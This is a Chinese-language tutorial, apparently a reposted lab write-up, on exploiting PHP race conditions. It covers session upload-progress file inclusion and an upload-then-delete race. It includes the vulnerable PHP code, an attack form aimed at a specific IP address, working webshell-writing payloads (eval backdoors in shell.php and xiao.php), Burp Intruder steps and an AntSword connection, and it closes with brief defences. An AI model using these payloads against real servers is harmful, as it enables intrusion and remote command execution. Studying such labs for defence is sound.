文章目录
条件竞争漏洞简介
条件竞争漏洞(Race Condition)是指在多线程或多进程环境中,多个操作的执行顺序未被正确控制,导致意外行为或安全问题。在 PHP 会话管理中,特别是在文件上传和会话数据处理过程中,可能会出现这样的漏洞。
文件包含之条件竞争
概念1. 通常一个session建立是会被session锁定机制进行锁住,防止多个并发请求同时修改session数据,这个漏洞的原理是利用了
PHP_SESSION_UPLOAD_PROGRESS
特性,当 PHP 处理文件上传请求时,会短暂解锁会话文件,允许并发请求访问,攻击者利用这个窗口,发送包含恶意PHP_SESSION_UPLOAD_PROGRESS
字段的请求来达到任意命令执行的目的靶场介绍1. 网站
网站:http://43.139.186.80/1.php<?phpif (isset($_GET['file'])){ $file = $_GET['file'];// $file = str_replace("php","???", $file); $file = str_replace("data","???", $file); // $file = str_replace(":","???", $file); $file = str_replace(".","???", $file);include($file);}else{ highlight_file(__FILE__);}?>攻击者的网站:<!DOCTYPE html><html>12<body><form action="http://43.139.186.80/1.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd])?>')?>" /><input type="file" name="file" /><input type="submit" value="submit" /></form></body></html><?phpsession_start();?>//记得form表单更换为上面的为受害者网站,value值为执行函数,目的是在当前网站下创建一个新的木马shell.php
复现1. 攻击者在自己的网站中上传任意文件,捉包,放到攻击者模块1. 2. 在数据包中添加cookie和session字段1. 3. 攻击模块配置如下1. 4. 在进行访问缓存文件的数据包,http://43.139.186.80/1.php?file=C:\phpstudy_pro\Extensions\tmp\tmp\sess_exp,路径可以在phpinfo中的session.save_path值中找到,名称是sess_+你刚才写的名称,捉包,攻击模块配置和上面一样5. 同时发包,看返回的数据长度,出现数值不同说明攻击成功1. 2.
文件下载之条件竞争
概念1. 这个漏洞主要是利用代码的逻辑漏洞,比如说代码中将文件存入服务器中在检查文件是否违规,违规就删除,但是攻击者通过在服务器检查和删除操作的间隙中,再次生成木马就可以绕过了
代码审计1.
<?php header("Content-type: text/html;charset=utf-8"); error_reporting(0); //设置上传目录 define("UPLOAD_PATH",dirname(__FILE__) . "/upload/");define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'],"", UPLOAD_PATH));if (!file_exists(UPLOAD_PATH)){mkdir(UPLOAD_PATH, 0755);} $is_upload = false;if (!empty($_POST['submit'])){ $name = basename($_FILES['file']['name']); $ext = pathinfo($name)['extension']; $upload_file = UPLOAD_PATH . '/' . $name; $whitelist = array('jpg','png','gif','jpeg');//UPLOAD_PATH . $name这个函数不对,这个函数是直接将上传的文件上传到最终路径再进行检查,只需要将其改为$upload_file函数即可,这个函数是将其上传带临时文件目录下,通过才可以到最终目录 if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)){if(in_array($ext,$whitelist)){ $rename_file = rand(10, 99).date("YmdHis").".".$ext; $img_path = UPLOAD_PATH . '/'. $rename_file;rename($upload_file, $img_path); $is_upload = true;}else{ echo "<script>black();</script>";unlink($upload_file);}}} ?>
复现流程:1. 上传1.php,捉包,改包1. 插入攻击语句1.
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?> //这个语句就是创建xiao.php,在在其里面写入木马
2. 放入intruder模块中,配置如图1. 2. 3. 开始attack2. 在上传一个访问1.php的包,也就是执行刚才的数据包1. 捉包,放入intruder模块,配置如下,发包1. 2. attack3. 在游览器中一直尝试看能不能连接上新生成的后门,即xiao.php1. 页面发生改变2. 蚁剑连接即可1.
总结
条件竞争漏洞在多线程或多进程环境中是一个常见的问题,特别是在文件上传和会话管理中。通过上述两个实际案例,我们可以清楚地看到条件竞争漏洞的危害及其利用方式。同时,了解这些漏洞的存在有助于开发者在编写代码时更加谨慎,从而避免类似的安全问题。防御措施包括对敏感操作进行锁定、增加检查步骤,以及对用户输入进行严格验证。希望本文能帮助读者更好地理解和防御条件竞争漏洞。
版权归原作者 CongSec 所有, 如有侵权,请联系我们删除。